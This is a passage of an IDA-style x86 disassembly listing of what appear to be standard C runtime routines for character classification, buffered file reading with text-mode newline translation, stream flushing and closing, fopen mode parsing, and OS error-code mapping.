		cmp	dword_435E38, 1
		push	esi
		jle	short loc_41BD5F
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41BDD1
		pop	ecx
		pop	ecx
		jmp	short loc_41BD6E
; ---------------------------------------------------------------------------


loc_41BD5F:				; CODE XREF: sub_41BD45+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_435C2C
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41BD6E:				; CODE XREF: sub_41BD45+18j
		test	eax, eax
		jnz	short loc_41BD78
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_41BD78:				; CODE XREF: sub_41BD45+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_41BD45	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BD7C	proc near		; CODE XREF: sub_41B320+1E1p
					; sub_41B320+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_41BD8E
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_41BD8E:				; CODE XREF: sub_41BD7C+7j
		push	edx
		call	sub_41C031
		pop	ecx
		retn
sub_41BD7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BD96	proc near		; CODE XREF: sub_41B320+6Bp
					; sub_41B320+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_41BDAC
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41EA5F
		pop	ecx
		pop	ecx

locret_41BDAC:				; CODE XREF: sub_41BD96+5j
		retn
sub_41BD96	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDAD	proc near		; CODE XREF: sub_41B320+63p
					; sub_41B320+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_41BDB3:				; CODE XREF: sub_41BDAD+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_41BD7C
		mov	edi, eax
		push	edi
		call	sub_41E8A4
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41BDB3
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41BDAD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BDD1	proc near		; CODE XREF: sub_416C44+17p
					; sub_416C44+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41BDEF
		mov	ecx, off_435C2C
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41BE41
; ---------------------------------------------------------------------------


loc_41BDEF:				; CODE XREF: sub_41BDD1+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_435C2C
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41BE14
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41BE1D
; ---------------------------------------------------------------------------


loc_41BE14:				; CODE XREF: sub_41BDD1+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_41BE1D:				; CODE XREF: sub_41BDD1+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_41EACD
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41BE3D
		leave
		retn
; ---------------------------------------------------------------------------


loc_41BE3D:				; CODE XREF: sub_41BDD1+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_41BE41:				; CODE XREF: sub_41BDD1+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41BDD1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BE46	proc near		; CODE XREF: sub_416D94+2Ap
					; sub_41EEE4+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_493F9C
		jnb	loc_41BEE0
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:493E60h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41BEE0
		push	edi
		call	sub_41ED9C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41BEBF
		cmp	edi, 1
		jz	short loc_41BE8D
		cmp	edi, 2
		jnz	short loc_41BEA3


loc_41BE8D:				; CODE XREF: sub_41BE46+40j
		push	2
		call	sub_41ED9C
		push	1
		mov	ebp, eax
		call	sub_41ED9C
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41BEBF


loc_41BEA3:				; CODE XREF: sub_41BE46+45j
		push	edi
		call	sub_41ED9C
		pop	ecx
		push	eax
		call	ds:dword_495358	; CloseHandle
		test	eax, eax
		jnz	short loc_41BEBF
		call	ds:dword_495328	; RtlGetLastWin32Error
		mov	ebp, eax
		jmp	short loc_41BEC1
; ---------------------------------------------------------------------------


loc_41BEBF:				; CODE XREF: sub_41BE46+3Bj
					; sub_41BE46+5Bj ...
		xor	ebp, ebp


loc_41BEC1:				; CODE XREF: sub_41BE46+77j
		push	edi
		call	sub_41ED22
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41BEDC
		push	ebp
		call	sub_41C4E8
		pop	ecx
		jmp	short loc_41BEF1
; ---------------------------------------------------------------------------


loc_41BEDC:				; CODE XREF: sub_41BE46+8Bj
		xor	eax, eax
		jmp	short loc_41BEF4
; ---------------------------------------------------------------------------


loc_41BEE0:				; CODE XREF: sub_41BE46+Ej
					; sub_41BE46+2Fj
		and	dword_4927F8, 0
		mov	dword_4927F4, 9


loc_41BEF1:				; CODE XREF: sub_41BE46+94j
		or	eax, 0FFFFFFFFh


loc_41BEF4:				; CODE XREF: sub_41BE46+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41BE46	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEF9	proc near		; CODE XREF: sub_416D94+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41BF22
		test	al, 8
		jz	short loc_41BF22
		push	dword ptr [esi+8]
		call	sub_415D6C
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41BF22:				; CODE XREF: sub_41BEF9+Aj
					; sub_41BEF9+Ej
		pop	esi
		retn
sub_41BEF9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BF24	proc near		; CODE XREF: sub_41BFC4+2Dp
					; sub_41BFC4+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41BF36
		push	esi
		call	sub_41BFC4
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41BF36:				; CODE XREF: sub_41BF24+7j
		push	esi
		call	sub_41BF5F
		test	eax, eax
		pop	ecx
		jz	short loc_41BF46
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41BF46:				; CODE XREF: sub_41BF24+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41BF5B
		push	dword ptr [esi+10h]
		call	sub_41EE76
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41BF5B:				; CODE XREF: sub_41BF24+26j
		xor	eax, eax
		pop	esi
		retn
sub_41BF24	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BF5F	proc near		; CODE XREF: sub_416D94+1Ap
					; sub_417E44+37p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41BFAC
		test	ax, 108h
		jz	short loc_41BFAC
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41BFAC
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_41E3D1
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41BFA5
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41BFAC
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41BFAC
; ---------------------------------------------------------------------------


loc_41BFA5:				; CODE XREF: sub_41BF5F+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41BFAC:				; CODE XREF: sub_41BF5F+14j
					; sub_41BF5F+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41BF5F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BFBB	proc near		; CODE XREF: sub_41E68Dp
		push	1
		call	sub_41BFC4
		pop	ecx
		retn
sub_41BFBB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BFC4	proc near		; CODE XREF: sub_41BF24+Ap
					; sub_41BFBB+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_493E40, esi
		jle	short loc_41C022


loc_41BFD5:				; CODE XREF: sub_41BFC4+5Cj
		mov	eax, dword_492AF0
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41C019
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41C019
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41BFFF
		push	eax
		call	sub_41BF24
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41C019
		inc	ebx
		jmp	short loc_41C019
; ---------------------------------------------------------------------------


loc_41BFFF:				; CODE XREF: sub_41BFC4+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41C019
		test	cl, 2
		jz	short loc_41C019
		push	eax
		call	sub_41BF24
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41C019
		or	edi, eax


loc_41C019:				; CODE XREF: sub_41BFC4+1Bj
					; sub_41BFC4+23j ...
		inc	esi
		cmp	esi, dword_493E40
		jl	short loc_41BFD5


loc_41C022:				; CODE XREF: sub_41BFC4+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41C02D
		mov	eax, edi


loc_41C02D:				; CODE XREF: sub_41BFC4+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41BFC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C031	proc near		; CODE XREF: sub_416DEA+A9p
					; sub_417A47+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41C105
		test	al, 40h
		jnz	loc_41C105
		test	al, 2
		jz	short loc_41C057
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41C105
; ---------------------------------------------------------------------------


loc_41C057:				; CODE XREF: sub_41C031+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41C06B
		push	esi
		call	sub_41E57E
		pop	ecx
		jmp	short loc_41C070
; ---------------------------------------------------------------------------


loc_41C06B:				; CODE XREF: sub_41C031+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41C070:				; CODE XREF: sub_41C031+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41C10A
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41C0F4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41C0F4
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41C0C9
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41C0B2
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_493E60[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41C0B7
; ---------------------------------------------------------------------------


loc_41C0B2:				; CODE XREF: sub_41C031+6Bj
		mov	edi, offset dword_436130


loc_41C0B7:				; CODE XREF: sub_41C031+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41C0C9
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41C0C9:				; CODE XREF: sub_41C031+62j
					; sub_41C031+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41C0E6
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41C0E6
		test	ch, 4
		jnz	short loc_41C0E6
		mov	dword ptr [esi+18h], 1000h


loc_41C0E6:				; CODE XREF: sub_41C031+9Fj
					; sub_41C031+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41C0F4:				; CODE XREF: sub_41C031+55j
					; sub_41C031+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41C105:				; CODE XREF: sub_41C031+Aj
					; sub_41C031+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41C031	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C10A	proc near		; CODE XREF: sub_416DEA+90p
					; sub_41C031+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_493F9C
		jnb	loc_41C2E7
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:493E60h[eax*4]
		mov	eax, dword_493E60[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41C2E7
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41C1BF
		test	dl, 2
		jnz	short loc_41C1BF
		test	dl, 48h
		jz	short loc_41C17F
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41C17F
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41C17F:				; CODE XREF: sub_41C10A+56j
					; sub_41C10A+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		call	ds:dword_49538C	; ReadFile
		test	eax, eax
		jnz	short loc_41C1D2
		call	ds:dword_495328	; RtlGetLastWin32Error
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41C1BA
		mov	dword_4927F4, 9
		mov	dword_4927F8, ecx
		jmp	loc_41C2F8
; ---------------------------------------------------------------------------


loc_41C1BA:				; CODE XREF: sub_41C10A+99j
		cmp	eax, 6Dh
		jnz	short loc_41C1C6


loc_41C1BF:				; CODE XREF: sub_41C10A+4Cj
					; sub_41C10A+51j
		xor	eax, eax
		jmp	loc_41C2FB
; ---------------------------------------------------------------------------


loc_41C1C6:				; CODE XREF: sub_41C10A+B3j
		push	eax
		call	sub_41C4E8
		pop	ecx
		jmp	loc_41C2F8
; ---------------------------------------------------------------------------


loc_41C1D2:				; CODE XREF: sub_41C10A+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41C2E2
		test	edx, edx
		jz	short loc_41C1F7
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41C1F7
		or	al, 4
		jmp	short loc_41C1F9
; ---------------------------------------------------------------------------


loc_41C1F7:				; CODE XREF: sub_41C10A+E2j
					; sub_41C10A+E7j
		and	al, 0FBh


loc_41C1F9:				; CODE XREF: sub_41C10A+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41C2DC


loc_41C211:				; CODE XREF: sub_41C10A+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41C2CC
		cmp	al, 0Dh
		jz	short loc_41C22D
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41C2BE
; ---------------------------------------------------------------------------


loc_41C22D:				; CODE XREF: sub_41C10A+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41C24B
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41C242
		add	[ebp+arg_8], 2
		jmp	short loc_41C2A0
; ---------------------------------------------------------------------------


loc_41C242:				; CODE XREF: sub_41C10A+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41C2BE
; ---------------------------------------------------------------------------


loc_41C24B:				; CODE XREF: sub_41C10A+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	ds:dword_49538C	; ReadFile
		test	eax, eax
		jnz	short loc_41C273
		call	ds:dword_495328	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_41C2BA


loc_41C273:				; CODE XREF: sub_41C10A+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41C2BA
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41C295
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41C2A0
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41C2BE
; ---------------------------------------------------------------------------


loc_41C295:				; CODE XREF: sub_41C10A+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41C2A5
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41C2A5


loc_41C2A0:				; CODE XREF: sub_41C10A+136j
					; sub_41C10A+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41C2BD
; ---------------------------------------------------------------------------


loc_41C2A5:				; CODE XREF: sub_41C10A+18Ej
					; sub_41C10A+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_41CE78
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41C2BE


loc_41C2BA:				; CODE XREF: sub_41C10A+167j
					; sub_41C10A+16Dj
		mov	byte ptr [edi],	0Dh


loc_41C2BD:				; CODE XREF: sub_41C10A+199j
		inc	edi


loc_41C2BE:				; CODE XREF: sub_41C10A+11Ej
					; sub_41C10A+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41C211
		jmp	short loc_41C2DC
; ---------------------------------------------------------------------------


loc_41C2CC:				; CODE XREF: sub_41C10A+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41C2DC
		or	al, 2
		mov	[esi], al


loc_41C2DC:				; CODE XREF: sub_41C10A+101j
					; sub_41C10A+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41C2E2:				; CODE XREF: sub_41C10A+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41C2FB
; ---------------------------------------------------------------------------


loc_41C2E7:				; CODE XREF: sub_41C10A+12j
					; sub_41C10A+39j
		and	dword_4927F8, 0
		mov	dword_4927F4, 9


loc_41C2F8:				; CODE XREF: sub_41C10A+ABj
					; sub_41C10A+C3j
		or	eax, 0FFFFFFFFh


loc_41C2FB:				; CODE XREF: sub_41C10A+B7j
					; sub_41C10A+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C10A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C300	proc near		; CODE XREF: sub_416FF2+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4929F0
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41C339
		cmp	al, 72h
		jz	short loc_41C332
		cmp	al, 77h
		jnz	loc_41C44D
		mov	ecx, 301h
		jmp	short loc_41C33E
; ---------------------------------------------------------------------------


loc_41C332:				; CODE XREF: sub_41C300+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41C341
; ---------------------------------------------------------------------------


loc_41C339:				; CODE XREF: sub_41C300+1Dj
		mov	ecx, 109h


loc_41C33E:				; CODE XREF: sub_41C300+30j
		or	esi, 2


loc_41C341:				; CODE XREF: sub_41C300+37j
		push	1
		pop	edx


loc_41C344:				; CODE XREF: sub_41C300+8Bj
					; sub_41C300+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41C433
		cmp	edx, ebx
		jz	loc_41C433
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41C3D2
		jz	short loc_41C3C2
		sub	eax, 2Bh
		jz	short loc_41C3AC
		sub	eax, 19h
		jz	short loc_41C3A2
		sub	eax, 0Eh
		jz	short loc_41C38D
		dec	eax
		jnz	loc_41C424
		cmp	[ebp+var_4], ebx
		jnz	loc_41C424
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41C344
; ---------------------------------------------------------------------------


loc_41C38D:				; CODE XREF: sub_41C300+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41C424
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41C344
; ---------------------------------------------------------------------------


loc_41C3A2:				; CODE XREF: sub_41C300+6Aj
		test	cl, 40h
		jnz	short loc_41C424
		or	ecx, 40h
		jmp	short loc_41C344
; ---------------------------------------------------------------------------


loc_41C3AC:				; CODE XREF: sub_41C300+65j
		test	cl, 2
		jnz	short loc_41C424
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41C344
; ---------------------------------------------------------------------------


loc_41C3C2:				; CODE XREF: sub_41C300+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41C424
		or	ecx, eax
		jmp	loc_41C344
; ---------------------------------------------------------------------------


loc_41C3D2:				; CODE XREF: sub_41C300+5Ej
		sub	eax, 62h
		jz	short loc_41C41F
		dec	eax
		jz	short loc_41C408
		sub	eax, 0Bh
		jz	short loc_41C3F1
		sub	eax, 6
		jnz	short loc_41C424
		test	ch, 0C0h
		jnz	short loc_41C424
		or	ch, 40h
		jmp	loc_41C344
; ---------------------------------------------------------------------------


loc_41C3F1:				; CODE XREF: sub_41C300+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41C424
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41C344
; ---------------------------------------------------------------------------


loc_41C408:				; CODE XREF: sub_41C300+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41C424
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41C344
; ---------------------------------------------------------------------------


loc_41C41F:				; CODE XREF: sub_41C300+D5j
		test	ch, 0C0h
		jz	short loc_41C42B


loc_41C424:				; CODE XREF: sub_41C300+72j
					; sub_41C300+7Bj ...
		xor	edx, edx
		jmp	loc_41C344
; ---------------------------------------------------------------------------


loc_41C42B:				; CODE XREF: sub_41C300+122j
		or	ch, 80h
		jmp	loc_41C344
; ---------------------------------------------------------------------------


loc_41C433:				; CODE XREF: sub_41C300+4Aj
					; sub_41C300+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_41EEE4
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41C451


loc_41C44D:				; CODE XREF: sub_41C300+25j
		xor	eax, eax
		jmp	short loc_41C46B
; ---------------------------------------------------------------------------


loc_41C451:				; CODE XREF: sub_41C300+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4929E8
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41C46B:				; CODE XREF: sub_41C300+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C300	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C470	proc near		; CODE XREF: sub_416FF2p
		mov	edx, dword_493E40
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41C4E1
		mov	ebx, dword_492AF0
		mov	edi, ebx


loc_41C48C:				; CODE XREF: sub_41C470+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41C4A7
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41C4A2
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41C48C
		jmp	short loc_41C4E1
; ---------------------------------------------------------------------------


loc_41C4A2:				; CODE XREF: sub_41C470+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41C4CB
; ---------------------------------------------------------------------------


loc_41C4A7:				; CODE XREF: sub_41C470+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_415CF8
		pop	ecx
		mov	ecx, dword_492AF0
		mov	[edi+ecx], eax
		mov	eax, dword_492AF0
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41C4E1
		mov	esi, edi


loc_41C4CB:				; CODE XREF: sub_41C470+35j
		cmp	esi, ebp
		jz	short loc_41C4E1
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_41C4E1:				; CODE XREF: sub_41C470+12j
					; sub_41C470+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41C470	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C4E8	proc near		; CODE XREF: sub_417025+16p
					; sub_417A9E+1Dp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4927F8, ecx
		mov	eax, offset dword_435E48


loc_41C4F9:				; CODE XREF: sub_41C4E8+1Ej
		cmp	ecx, [eax]
		jz	short loc_41C51D
		add	eax, 8
		inc	edx
		cmp	eax, offset byte_435FB0
		jl	short loc_41C4F9
		cmp	ecx, 13h
		jb	short loc_41C52A
		cmp	ecx, 24h
		ja	short loc_41C52A
		mov	dword_4927F4, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_41C51D:				; CODE XREF: sub_41C4E8+13j
		mov	eax, dword_435E4C[edx*8]
		mov	dword_4927F4, eax
		retn
; ---------------------------------------------------------------------------


loc_41C52A:				; CODE XREF: sub_41C4E8+23j
					; sub_41C4E8+28j
		cmp	ecx, 0BCh
		jb	short loc_41C544
		cmp	ecx, 0CAh
		mov	dword_4927F4, 8
		jbe	short locret_41C54E


loc_41C544:				; CODE XREF: sub_41C4E8+48j
		mov	dword_4927F4, 16h

locret_41C54E:				; CODE XREF: sub_41C4E8+5Aj
		retn
sub_41C4E8	endp

; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		add	eax, 0FFFFFFE0h
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C557	proc near		; CODE XREF: sub_4172D3+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_49288C, 0
		push	ebx
		jnz	short loc_41C582
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_41C620
		cmp	eax, 7Ah
		jg	loc_41C620
		sub	eax, 20h
		jmp	loc_41C620
; ---------------------------------------------------------------------------


loc_41C582:				; CODE XREF: sub_41C557+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_41C5B5
		cmp	dword_435E38, 1
		jle	short loc_41C5A2
		push	2
		push	ebx
		call	sub_41BDD1
		pop	ecx
